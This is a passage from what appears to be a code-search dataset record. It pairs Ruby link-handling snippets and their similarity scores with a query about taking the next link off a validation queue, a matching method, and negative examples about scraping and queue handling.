"def link(opts)\n \"#{opts[:name]} !LINK_OPEN_TAG!#{opts[:href]}!LINK_CLOSE_TAG!\"\n end",
"def link_to(body, url)\n \"[#{body}](#{url})\" if !AIPP.options.check_links || url_exists?(url)\n end",
"def insert_link (fileArray, linkName, utilHash)\n\nend",
"def link(href, opts={})\n @resource.tap {|obj| obj.add_link(@rel, href, opts) }\n end",
"def link(_link, _title, content)\n content.to_s\n end",
"def link_tag(output_file, map = {})\n write output_file, \"\\t<xhtml:link rel='alternate' hreflang='#{map[:lang]}' href='#{map[:url].strip}'/>\"\n end",
"def link(*args)\n Restfulie::Common::Builder::Rules::Link.new(*args)\n end",
"def href; end",
"def link_to_add_entry(page)\n url = new_admin_page_path parent_id: page.id, type: page_set_type(page)\n raw link_to 'Add Entry', url, class: 'button add-child'\n end",
"def link_add\n @link = Link.find(params[:link])\n @show_date = ShowdateLink.find_by_user_id(@user)\n l = Linkalation.new\n\n l.user_id = current_user.id\n l.link_id = @link.id\n l.show_date = @show_date.showdate\n l.save!\n\n render :nothing => true\n end",
"def parse_link_definition; end",
"def create\n @link = Link.new(params[:link])\n\n respond_to do |format|\n if (@entity.links << @link)\n flash[:notice] = 'Link was successfully created.'\n furl = link_url(@entity,@link)\n format.html { redirect_to furl}\n format.xml { head :created, :location => furl }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @link.errors.to_xml }\n end\n end\n end",
"def concat(link)\n Wgit::Url.concat(self, link)\n end",
"def linkgen\n\n LinkGenerator.new(request)\n end",
"def link!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 25 )\n\n type = LINK\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 159:8: 'link'\n match( \"link\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 25 )\n\n end",
"def link(text, target, attributes = {})\n if target.is_a? Fixnum\n attributes[:rel] = rel_value(target)\n target = url(target)\n end\n @template.link_to(text, target, attributes.merge(:remote => true))\n end",
"def link\n @link\n end",
"def append_target!\n @tag.gsub! /\\<a/, '<a target=\"_blank\"'\n end",
"def to_link(text)\n URI::encode(@base_url + text.strip.gsub(/\\s+/, @space_replacement))\n end",
"def call(_obj, args, ctx)\n Link.create! description: args[:description],\n url: args[:url],\n user: ctx[:current_user]\n end",
"def create\n @link = @question.links.new(params[:link])\n @link.user_id = current_user.id\n\n respond_to do |format|\n if @link.save\n flash[:notice] = 'link was successfully created.'\n format.html { redirect_to(@question) }\n format.xml { render :xml => @link, :status => :created, :location => @link }\n else\n format.html { redirect_to @question }\n flash[:notice] = 'Link must start with \"http://\"'\n format.xml { render :xml => @link.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_link_header(query_parameters)\n response.headers['Link'] = construct_link_header(query_parameters)\n end",
"def link(text, target, attributes = {})\n if target.is_a? Fixnum\n attributes[:rel] = rel_value(target)\n target = url(target)\n end\n @template.link_to(text, target, attributes)\n end",
"def link(link, title, content)\n\t\tif (title)\n\t\t\treturn \"title : [#{content}|#{link}]\"\n\t\telse\n\t\t\treturn \"[#{content}|#{link}]\"\n\t\tend\n\tend",
"def click_add_line_items_link\n add_line_items_link.click\n end",
"def add_link(url)\n if url.is_a?(Array)\n url.each do |u|\n self.add_link(u)\n end\n return @links\n end\n if url.is_a?(String) and url =~ /^http(s)?\\:\\/\\//\n response = nil\n uri = URI.parse(url)\n Net::HTTP.start(uri.host, uri.port) {|http|\n response = http.head(uri.path)\n }\n @links.push({:url=>url,:filename=>File.basename(uri.path),:size=>response['content-length'].to_i})\n return @links\n end\n raise RuntimeError, \"Invalid URL: #{url}\"\n end",
"def linkify(url, text)\n if ENV['BUILDKITE']\n \"\\033]1339;url='#{url}';content='#{text}'\\a\"\n else\n \"#{text}: #{url}\"\n end\n end",
"def queue_link( tag, source )\n return if tag.attributes['class'] && tag.attributes['class']['thickbox'] == 'thickbox'\n return if tag.attributes['onclick']\n dest = (tag.attributes['onclick'] =~ /^new Ajax.Updater\\(['\"].*?['\"], ['\"](.*?)['\"]/i) ? $1 : tag.attributes['href']\n if !(dest =~ %r{^(mailto:|#|javascript:|http://|.*\\.jpg|aim:|ichat:|xmpp:)})\n @links_to_visit << Link.new( dest, source )\n end\n end",
"def inline_auto_link(text)\n text.gsub!(AUTO_LINK_RE) do\n all, leading, proto, url, post = $&, $1, $2, $3, $6\n if leading =~ /<a\\s/i || leading =~ /![<>=]?/\n # don't replace URL's that are already linked\n # and URL's prefixed with ! !> !< != (textile images)\n all\n else\n # Idea below : an URL with unbalanced parethesis and\n # ending by ')' is put into external parenthesis\n if ( url[-1]==?) and ((url.count(\"(\") - url.count(\")\")) < 0 ) )\n url=url[0..-2] # discard closing parenth from url\n post = \")\"+post # add closing parenth to post\n end\n tag = content_tag('a', proto + url, :href => \"#{proto==\"www.\"?\"http://www.\":proto}#{url}\", :class => 'external')\n %(#{leading}#{tag}#{post})\n end\n end\n end",
"def url(href)\n a href, :href => href\n end",
"def handle_special_HYPERLINK(special)\n url = special.text\n gen_url url, url\n end",
"def publication_link\n h.link_to \"Read Now\" , object.publication_url , title: 'Read Now' , class: 'btn waves-effect waves-light btn-primary custom-btn' , target: '_blank'\n end",
"def link_to_asset(body,model,url_opts={},html={})\n result = String.new\n result << '<a href=\"' + url_for_asset(model,url_opts) + '\">'\n result << body\n result << '</a>'\n end",
"def process\n # process url\n urls = self.text.scan(URL_REGEXP)\n urls.each { |url|\n tiny_url = open(\"http://tinyurl.com/api-create.php?url=#{url[0]}\") { |s| s.read }\n self.text.sub!(url[0], \"<a href='#{tiny_url}'>#{tiny_url}</a>\")\n }\n \n # process @\n ats = self.text.scan(AT_REGEXP)\n ats.each { |at| \n self.text.sub!(at, \"<a href='/#{at[2,at.length]}'>#{at}</a>\")\n }\n\n end",
"def process\n # process url\n urls = self.text.scan(URL_REGEXP)\n urls.each { |url|\n tiny_url = open(\"http://tinyurl.com/api-create.php?url=#{url[0]}\") {|s| s.read} \n self.text.sub!(url[0], \"<a href='#{tiny_url}'>#{tiny_url}</a>\")\n } \n # process @\n ats = self.text.scan(AT_REGEXP)\n ats.each { |at| self.text.sub!(at, \"<a href='/#{at[2,at.length]}'>#{at}</a>\") } \n end",
"def render_create_content_link(element, options = {})\n\t\t\t\tdefaults = {\n\t\t\t\t\t:label => t('add new content')\n\t\t\t\t}\n\t\t\t\toptions = defaults.merge(options)\n\t\t\t\tlink_to(\n\t\t\t\t\toptions[:label],\n\t\t\t\t\talchemy.admin_contents_path(\n\t\t\t\t\t\t:content => {\n\t\t\t\t\t\t\t:name => options[:content_name],\n\t\t\t\t\t\t\t:element_id => element.id\n\t\t\t\t\t\t}\n\t\t\t\t\t),\n\t\t\t\t\t:method => 'post',\n\t\t\t\t\t:remote => true,\n\t\t\t\t\t:id => \"add_content_for_element_#{element.id}\",\n\t\t\t\t\t:class => 'button new_content_link'\n\t\t\t\t)\n\t\t\tend",
"def Link(x, y, w, h, link)\n\t\t#Put a link on the page\n @page_links ||= Array.new\n @page_links[@page] ||= Array.new\n @page_links[@page].push([x * @k, @h_pt - y * @k, w * @k, h*@k, link]);\n\tend",
"def link *a, &b; app.link *a, &b end",
"def ajax_add_link\n\n # Create a new Link Instance\n link = Link.new\n\n # Update the fields of Link Instance\n link.funnel_id = params[:funnel_id]\n link.to_node_id = params[:to_operator_id].to_i\n\n if params[:from_operator_id].to_i === 0\n # If the link starts at the start node, set slink to 1\n link.start_link = 1\n else\n # Otherwise, set slink to 0 (false) and set from_operator_id\n link.start_link = 0\n link.from_node_id = params[:from_operator_id].to_i\n end\n\n # Save and verify Link and return correct JSON response\n if link.save!\n final_json = JSON.pretty_generate(result = {\n :success => true\n })\n else\n final_json = JSON.pretty_generate(result = {\n :success => false\n })\n end\n\n # Return JSON response\n render json: final_json\n\n end",
"def link(**opt)\n opt[:path] = show_path(id: object.identifier)\n super(**opt)\n end",
"def link\n @link ||= uri.to_s\n end"
] | [
"0.7483394",
"0.7205235",
"0.70008266",
"0.6883265",
"0.68251795",
"0.67953926",
"0.67953926",
"0.67707944",
"0.67035586",
"0.6687012",
"0.66641146",
"0.664809",
"0.66434485",
"0.66281384",
"0.6623783",
"0.6621798",
"0.66100514",
"0.6582565",
"0.65666807",
"0.6542367",
"0.65401983",
"0.65352124",
"0.6511309",
"0.6511309",
"0.6493562",
"0.6472986",
"0.6468805",
"0.64435047",
"0.6419305",
"0.6407972",
"0.6405193",
"0.6404987",
"0.6362903",
"0.63546073",
"0.6339188",
"0.631416",
"0.6313179",
"0.6306525",
"0.6302327",
"0.62959015",
"0.62777627",
"0.62708336",
"0.62605447",
"0.6244956",
"0.6244956",
"0.62220335",
"0.6218723",
"0.62069553",
"0.62002635",
"0.6193897",
"0.61814606",
"0.6181015",
"0.61789",
"0.6172508",
"0.61698526",
"0.61690456",
"0.61679274",
"0.6167876",
"0.6162403",
"0.6153435",
"0.61435604",
"0.61324066",
"0.6130988",
"0.6129573",
"0.6118488",
"0.611785",
"0.61157376",
"0.6095532",
"0.60671103",
"0.6065403",
"0.60621727",
"0.6059515",
"0.605911",
"0.6045412",
"0.6044647",
"0.60430235",
"0.60172725",
"0.60092527",
"0.6005361",
"0.600534",
"0.59963745",
"0.5992248",
"0.59873885",
"0.59852695",
"0.5978453",
"0.59724665",
"0.59721303",
"0.59472567",
"0.594152",
"0.5937757",
"0.5933143",
"0.59329116",
"0.59311795",
"0.5925635",
"0.5918012",
"0.59179014",
"0.591518",
"0.5912413",
"0.59111696",
"0.59107184"
] | 0.6007093 | 78 |
grab the next link off the list | def queue_next
begin
link = to_validate.shift
return if not link
queued[link[0]] = link[1]
link[1].validate(@hydra) { |error: nil|
queued.delete(link[0])
if error then invalidate(link[1], error[:type], error[:msg])
else validated[link[0]] = link[1]
end
}
link
rescue Exception
unshift(link)
raise $!
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def next\n perform_get(links.next, self.class)\n end",
"def next_item\n return nil if @link == nil\n link.kernel.select {|item| item.rule == @rule}.first\n end",
"def next_address\n list_entry[:next]\n end",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape(page)\n next_link = page.at_css('a.next')\n if next_link \n p next_link\n next_url = BASE_URL + next_link['href']\n p next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape(page)\n next_link = page.at_css('a.next')\n if next_link \n p next_link\n next_url = BASE_URL + next_link['href']\n p next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def next_list\n @_next ? @resource.list(abs_url: @_next) : nil\n end",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n\n ## debugging note to the console\n puts 'scraping: '+url\n\n scrape_table(page)\n next_link = page.at_css('li.next')\n if next_link\n next_url = BASE_URL + next_link.at_css('a').attribute(\"href\")\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n\n ## debugging note to the console\n puts 'scraping: '+url\n\n scrape_table(page)\n next_link = page.at_css('li.next')\n if next_link\n next_url = BASE_URL + next_link.at_css('a').attribute(\"href\")\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n next_link = page.at_css('a.next')\n if next_link \n puts next_link\n next_url = BASE_URL + next_link['href']\n puts next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n next_link = page.at_css('a.next')\n if next_link \n puts next_link\n next_url = BASE_URL + next_link['href']\n puts next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n next_link = page.at_css('a.next')\n if next_link \n puts next_link\n next_url = BASE_URL + next_link['href']\n puts next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n next_link = page.at_css('a.next')\n if next_link \n puts next_link\n next_url = BASE_URL + next_link['href']\n puts next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def next_page\n @links['next']\n end",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n if page.css(\"p.stdPager a\").last.content.include? \"Succ\"\n next_link = page.css(\"p.stdPager a\").last[\"href\"]\n end\n if next_link \n puts \"next link= \" + next_link\n next_url = DOMAIN + next_link\n puts next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n if page.css(\"p.stdPager a\").last.content.include? \"Succ\"\n next_link = page.css(\"p.stdPager a\").last[\"href\"]\n end\n if next_link \n puts \"next link= \" + next_link\n next_url = DOMAIN + next_link\n puts next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n if page.css(\"p.stdPager a\").last.content.include? \"Succ\"\n next_link = page.css(\"p.stdPager a\").last[\"href\"]\n end\n if next_link \n puts \"next link= \" + next_link\n next_url = DOMAIN + next_link\n puts next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n if page.css(\"p.stdPager a\").last.content.include? \"Succ\"\n next_link = page.css(\"p.stdPager a\").last[\"href\"]\n end\n if next_link \n puts \"next link= \" + next_link\n next_url = DOMAIN + next_link\n puts next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape_table(page)\n next_link = page.at_css('a.next')\n if next_link \n p next_link\n next_url = BASE_URL + next_link['href']\n p next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def get_next()\n\t\t\treturn @next\n\t\tend",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape(url)\n next_link = page.xpath(\".//a[@title='Go to next page']\")\n puts next_link\n if next_link && next_link[0]\n puts next_link[0]['href']\n next_url = BASE_URL + next_link[0]['href']\n puts next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def scrape_and_look_for_next_link(url)\n page = Nokogiri::HTML(open(url))\n scrape(url)\n next_link = page.xpath(\".//a[@title='Go to next page']\")\n puts next_link\n if next_link && next_link[0]\n puts next_link[0]['href']\n next_url = BASE_URL + next_link[0]['href']\n puts next_url\n scrape_and_look_for_next_link(next_url)\n end\nend",
"def next_link(headers)\n key = 'link' # todo: can be 'Link' as well\n return nil unless headers.member? key\n link_tuple = LinkHeader.parse(headers[key]).links.select { |l| l.attr_pairs[0][1] == 'next' }\n link_tuple.size.zero? ? nil : link_tuple[0].href\n end",
"def next\n @next\n end",
"def next_sibling\n return @links[:next_sibling]\n end",
"def get_next_page\n nextlink = @doc.search(\"//p[@class='nextprev']/a[@rel='nofollow next']\")\n nextlink.map! { |link| \"#{link['href']}\" }\n stringlink = nextlink[0]\n @doc = open(stringlink) { |f| Hpricot(f) }\n get_links\n end",
"def get_next_target(page)\n start_link = page.index('<a href=')#found position 10\n\n if start_link == nil\n return nil, -1\n else\n start_link\n\n start_quote = page.index('\"', start_link)#found position 18\n end_quote = page.index('\"', start_quote + 1)#found position 37\n url = page[start_quote +1...end_quote]\n return url, end_quote\n end\nend",
"def next\n @next||=after.first\n end",
"def get_next()\n return @next_node\n end",
"def next_page_link\n paging['next'] if paging\n end",
"def item_at_head\n\t\t\[email protected]\n\t\tend",
"def get_next\n\t\t\n\tend",
"def get_next_entry; end",
"def next_page; link 'next' end",
"def next_page\n\t\t\tFeed.parse_url(next_page_url,@browser)\n\t\tend",
"def next_link_for(records)\n page_link(records, page: 'next')\n end",
"def next_page\n url = @entity[:next]\n return unless url\n\n query = URI.decode_www_form(URI(url).query).to_h\n query = query.to_h { |k, v| [k.to_sym, v] }\n self.class.list(**query)\n end",
"def next(pointer); end",
"def next(pointer); end",
"def next\n fil_header[:next]\n end",
"def next_follow\n end",
"def next\n update_current(list_index_of(@current))\n end",
"def next\n if next_listing = self.class.where(\"id > ?\", id).first\n next_listing\n else\n Listing.first\n end\n end",
"def next\n @links.key?(:next) ? Page.new(@links[:next], {}, @headers) : nil\n end",
"def next_item\n index = self.simple_acts_as_list_scope.index(self)\n self.simple_acts_as_list_scope[index + 1]\n end",
"def get_next_url\n @index = @index + 1\n link = @url.to_s + \"?PageNumber=\"\n link = link + @index.to_s\n \n return link\nend",
"def get_next_url\n @index = @index + 1\n link = @url.to_s + \"?PageNumber=\"\n link = link + @index.to_s\n \n return link\nend",
"def get_next\n _info = self.get_next_list_entry!\n unless _info.nil?\n _url = _info[0]\n _imgurl = self.get_image_url _url\n unless _imgurl.nil?\n _filename = self.dl_image _imgurl\n return {\n 'filename' => _filename,\n 'author' => _info[1],\n 'title' => _info[2],\n 'origin' => _url\n }\n end\n end\n return nil\n end",
"def next_item\n @current += 1 if @current < last\n\n items\n end",
"def next\n @next && @next.value\n end",
"def next_page\n @page.link_with(:text => /Next/)\n end",
"def find_next(*args)\n find(:next, *args)\n end",
"def find_next(*args)\n find(:next, *args)\n end",
"def next\n connection.write(\"next\")\n end",
"def next\n connection.write(\"next\")\n end",
"def next\n\t\[email protected](\"id > ?\", id).order(\"id ASC\").first || @curItem.first\n\t\[email protected]\n\tend",
"def get_next_url\n\n @index = @index + 1\n\n link = @url.to_s + \"?PageNumber=\"\n\n link = link + @index.to_s\n\n return link\n\nend",
"def get_next_url\n\n @index = @index + 1\n\n link = @url.to_s + \"?PageNumber=\"\n\n link = link + @index.to_s\n\n return link\n\nend",
"def get_next_list_entry!\n begin \n # Read out every line of list file\n # into an array\n full_file = []\n File.open(@list_file, 'r') do |file|\n while _line = file.gets\n unless _line == '' || _line.start_with?('#')\n full_file << _line.sub(/\\n/, '')\n end\n end\n end\n # If the array is not empty, shift the first\n # entry into an output variable and save the\n # shifted array in the file by overwriting.\n # Then, return the output variable\n if !full_file.empty?\n _out = full_file.shift.split('|')\n File.open(@list_file, 'w') do |file|\n full_file.each { |ln| \n file.puts ln \n }\n end\n return _out\n end\n return nil\n rescue Exception => e\n puts \"[FATAL ERROR] in 'DavidGetter#get_next_list_entry': #{e}\"\n exit\n end\n end",
"def next\n @next ||= WikiContent::Version.\n reorder('version ASC').\n includes(:author).\n where(\"wiki_content_id = ? AND version > ?\", wiki_content_id, version).first\n end",
"def next\n perform_request(next_page_uri) if next?\n end",
"def next\n @next ||= Changeset.where([\"id > ? AND repository_id = ?\", id, repository_id]).order('id ASC').first\n end",
"def next\n @next ||=\n if next_uri\n node_cache.fetch(next_uri) do\n node = self.class.new(node_cache, next_uri, adapter, graph)\n node.prev = self\n node\n end\n end\n end",
"def get_next_url\n while true\n unless url = @node_manager.dequeue_url\n # there are currently no further URLs in the queue\n return nil\n end\n\n unless http_url = HttpUrl.parse(url)\n @node_manager.log_error :invalid_url, url.inspect \n next\n end\n\n if @node_manager.has_file?(http_url.to_filename) \n @node_manager.log :skip_url__already_fetched, url.inspect\n next\n end\n\n return http_url\n end # while\n end",
"def updateNextURI\n # Parse next result page link from the currently marked one\n nextPagePath = @currentPage.at_css(\"table#nav tr td.cur\").next_sibling().at_css(\"a\")['href']\n\n # Construct the URI\n @nextURI = \"https://www.google.com\" + nextPagePath\n end",
"def next\n goto(@current_page + 1)\n end",
"def next\n return nil unless has_next?\n perform_request(next_page_uri)\n end",
"def next\n self.next_id == -1 ? nil : self.story.cards.find(self.next_id)\n end",
"def next\n\t\tend",
"def next_page\n @current_page = @agent.page.links.find { |l| l.text == \"Next →\" }.click\n rescue\n nil\n end",
"def next\n @pointer += 1\n end",
"def next\n Photo.find_by_id(next_id) if next?\n end",
"def get_next_link(index, toc_lines)\n\n max_index = toc_lines.length - 1\n (index..max_index).each do |i|\n search = toc_lines[i].scan(/\\[[^\\(]*\\]\\(([^\\[]*?)\\)/m)\n unless search.empty?\n return search[0][0]\n end\n end\n\n # if you get here no match was found\n ''\n end",
"def next\n next? ? @current + 1 : nil\n end",
"def next_page_path(response)\n response.get(\"_links.next.href\")\n end",
"def get_next_page_url(first_page_doc)\n first_page_doc.css('span.paging:first-of-type a:last-of-type').first['href']\nend",
"def get_next_url\n while true\n unless url = dequeue_url()\n # there are currently no further URLs in the queue\n return nil\n end\n\n unless http_url = HttpUrl.parse(url)\n log_error :invalid_url, url.inspect \n next\n end\n\n if has_file?(http_url.to_filename) \n log :skip_url__already_fetched, url.inspect\n next\n end\n\n return http_url\n end # while\n end",
"def next\n end",
"def next\n end",
"def get_next_page page\n link = page.search('.nextpostslink').first\n\n begin\n unless link[:href].nil? \n return @agent.get(link[:href])\n end\n rescue\n end\n\n return nil\nend",
"def get_next_page page\n link = page.search('.nextpostslink').first\n\n begin\n unless link[:href].nil? \n return @agent.get(link[:href])\n end\n rescue\n end\n\n return nil\nend",
"def get_next_page page\n link = page.search('.nextpostslink').first\n\n begin\n unless link[:href].nil? \n return @agent.get(link[:href])\n end\n rescue\n end\n\n return nil\nend",
"def get_next_page page\n link = page.search('.nextpostslink').first\n\n begin\n unless link[:href].nil? \n return @agent.get(link[:href])\n end\n rescue\n end\n\n return nil\nend",
"def scrape_and_look_for_next_link(page)\n scrape_table(page.body)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$tab21$GVProcesos'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page)\n end\nend",
"def scrape_and_look_for_next_link(page)\n scrape_table(page.body)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$tab21$GVProcesos'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page)\n end\nend",
"def nextResults\n # Update results\n updateResults(@nextURI)\n\n # Update nextURI\n updateNextURI\n end",
"def scrape_and_look_for_next_link(page)\n scrape_table(page.body)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$tab21$GVProcesos'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page)\n end\nend",
"def scrape_and_look_for_next_link(page)\n scrape_table(page.body)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$tab21$GVProcesos'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page)\n end\nend",
"def next\n \t\tNote.where([\"id > ?\", self.id]).first\n\tend",
"def next\n\t\t\t\t@index += 1\n\t\t\t\tself._update\n\t\t\t\tself\n\t\t\tend",
"def has_next?\n !!@links['next']\n end",
"def next\n if self.last?\n first_in_section\n else lower_item\n end\n end",
"def next_element\n validates_possibility_of :next\n self.index += 1\n self.current\n end",
"def crawlNext(&blk)\r\n if @toCrawl.empty?\r\n return false\r\n end\r\n [email protected]()\r\n crawlOne(crawlThis,&blk)\r\n return true\r\n end",
"def get_next_page(page)\n\n # Todo: Put your code here to get the next page to be scraped\n\n next_page_condition = page.search('input[id$=nextPageHyperLink]')\n\n if !next_page_condition.empty? \n\n link = get_next_url()\n\n page = @agent.get(link)\n\n return page\n\n else\n\n return nil\n\n end\n\nend",
"def get_next_page(page)\n\n # Todo: Put your code here to get the next page to be scraped\n\n next_page_condition = page.search('input[id$=nextPageHyperLink]')\n\n if !next_page_condition.empty? \n\n link = get_next_url()\n\n page = @agent.get(link)\n\n return page\n\n else\n\n return nil\n\n end\n\nend",
"def next\n \tself.class.where(\"id > ?\", id).first\n \tend",
"def test_next\n\t\tassert_equal(6, @freeid.next, \"Extras not working\")\n\t\tassert_equal(1, @freeid.next, \"Last not working\")\n\t\tassert_equal(2, @freeid.next, \"Last not incrementing\")\n\tend",
"def next\n after.first\n end",
"def next\n at(position + 1)\n end",
"def check_next(products_page)\n xnext = \"//td[@align='right']/strong/a[contains(text(), 'Следующие')]/@href\"\n next_url = products_page.xpath(xnext).text\n next_products_page_url = if next_url != ''\n URL + '/' + next_url\n end || false\n next_products_page_url\n end",
"def next\n return @page + 1\n end"
] | [
"0.76924497",
"0.7587537",
"0.7422341",
"0.7188903",
"0.7188903",
"0.71803594",
"0.71423864",
"0.71423864",
"0.71327865",
"0.71327865",
"0.71327865",
"0.71327865",
"0.7115808",
"0.7076858",
"0.7075121",
"0.7075121",
"0.7075121",
"0.7065827",
"0.7035438",
"0.69852316",
"0.69852316",
"0.6871616",
"0.68600816",
"0.6852011",
"0.6794819",
"0.67830044",
"0.67446786",
"0.6742262",
"0.6738502",
"0.6726795",
"0.6693582",
"0.66428375",
"0.66304255",
"0.66258305",
"0.6622428",
"0.65780723",
"0.6576499",
"0.6576499",
"0.6546826",
"0.65390795",
"0.6537929",
"0.65212363",
"0.65059495",
"0.65034",
"0.6494419",
"0.6494419",
"0.648266",
"0.6473187",
"0.64401054",
"0.6433362",
"0.64201695",
"0.64201695",
"0.64042014",
"0.64042014",
"0.638998",
"0.6389119",
"0.6389119",
"0.63677865",
"0.633887",
"0.6334604",
"0.6325269",
"0.6309682",
"0.62990355",
"0.6297091",
"0.62877035",
"0.62486136",
"0.62367177",
"0.6225417",
"0.62233895",
"0.6222457",
"0.62145174",
"0.61867106",
"0.6185187",
"0.6179215",
"0.6166781",
"0.61655605",
"0.61648023",
"0.61648023",
"0.6157173",
"0.6157173",
"0.6157173",
"0.6157173",
"0.61547226",
"0.61547226",
"0.6153562",
"0.61523014",
"0.61523014",
"0.6145139",
"0.61403567",
"0.61338353",
"0.6128745",
"0.61275303",
"0.61160016",
"0.61131513",
"0.61131513",
"0.61131024",
"0.6108339",
"0.6106686",
"0.61034715",
"0.6089053",
"0.6084781"
] | 0.0 | -1 |
move the given link off the main queue and onto the invalid queue | def invalidate(link, *args)
queued.delete(link.uri)
if not link.suspect
inv = InvalidURI.new(link, *args)
invalid[inv.uri] = inv
elsif @opts[:verbose]
puts 'questionable link invalidated: ' + link.uri.to_s
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def queue_next\n begin\n link = to_validate.shift\n return if not link\n\n queued[link[0]] = link[1]\n\n link[1].validate(@hydra) { |error: nil|\n queued.delete(link[0])\n\n if error then invalidate(link[1], error[:type], error[:msg])\n else validated[link[0]] = link[1]\n end\n }\n link\n rescue Exception\n unshift(link)\n raise $!\n end\n end",
"def move_lower_in_queue\n return unless lower_item_in_queue\n\n acts_as_queue_class.transaction do\n lower_item_in_queue.decrement_queue_position\n increment_queue_position\n end\n end",
"def move_higher_in_queue\n return unless higher_item_in_queue\n\n acts_as_queue_class.transaction do\n higher_item_in_queue.increment_queue_position\n decrement_queue_position\n end\n end",
"def move_to_bottom_in_queue\n return unless in_queue?\n acts_as_queue_class.transaction do\n decrement_queue_positions_on_lower_items\n assume_bottom_queue_position\n end\n end",
"def move_to_top_in_queue\n return unless in_queue?\n acts_as_queue_class.transaction do\n increment_queue_positions_on_higher_items\n assume_top_queue_position\n end\n end",
"def shift()\n # If our ttl is zero, skip\n if @queue.length < 1\n return nil\n end\n # Get next from queue\n this = @queue.shift\n puts \"QUEUE ->: %3d %s\" % [this['ttl'], this['url']]\n # Do we already have this page?\n if ! @store.exists?(this['url'])\n # Get page and read links\n p = Page.new(this['url'], nil, this['ttl'])\n # Add each link to the queue (if it doesn't alreaady exist)\n p.links.each do |l|\n if l['ttl'] > 0 and [email protected]?(l['href'])\n self.push(l['href'], l['ttl'])\n end\n end\n # Store the links\n @store.add(this['url'], p.links)\n end\n end",
"def blmove(source, destination, where_source, where_destination, timeout: T.unsafe(nil)); end",
"def shift\n @lock.synchronize do\n @queue.shift\n end\n end",
"def queue_video!(video)\n queue_items.create(video: video, \n position: new_queue_item_position) unless queued_video?(video)\n end",
"def move_later\n nekst = self.next\n self.append_to(nekst) if nekst\n end",
"def add(link)\n @queue.add link\n end",
"def queue(a)\n p \"Before: #{a}\"\n a.push(6)\n a.shift(1)\n p \"After: #{a}\"\nend",
"def move_next\n\t\tself.current = self.current&.next\n\tend",
"def move_next\n\t\tself.current = self.current&.next\n\tend",
"def remove_from_queue\n if in_queue?\n decrement_queue_positions_on_lower_items\n update_attribute queue_position_column, nil\n end\n end",
"def remove\n @queue.shift\n end",
"def blocking_redirect to, timeout = 0\n brpoplpush(@key, key(:queue)/(to.kind_of?(RedisQueue::Simple) ? to.name : to), timeout)\n end",
"def shift!\n shifted = @queue.shift\n\n return nil if shifted.nil?\n shifted[0]\n end",
"def remove\n @queue.shift\n end",
"def dequeue\n\t\[email protected]\n\tend",
"def update_link!(link)\n key = link.key\n val = link.val\n @store.remove(key)\n link = @store.append(key,val) #this is where you move the link to end of list\n @map[key] = link\n end",
"def __ap4r_forward_by_queue_info(stored_message_id, queue_info, options)\r\n __ap4r_queue_put(queue_info[:queue_name], queue_info[:queue_message], queue_info[:queue_headers])\r\n StoredMessage.destroy_if_exists(stored_message_id, options)\r\n end",
"def dequeue\n @queue.shift\n end",
"def remove\n @queue.shift\n end",
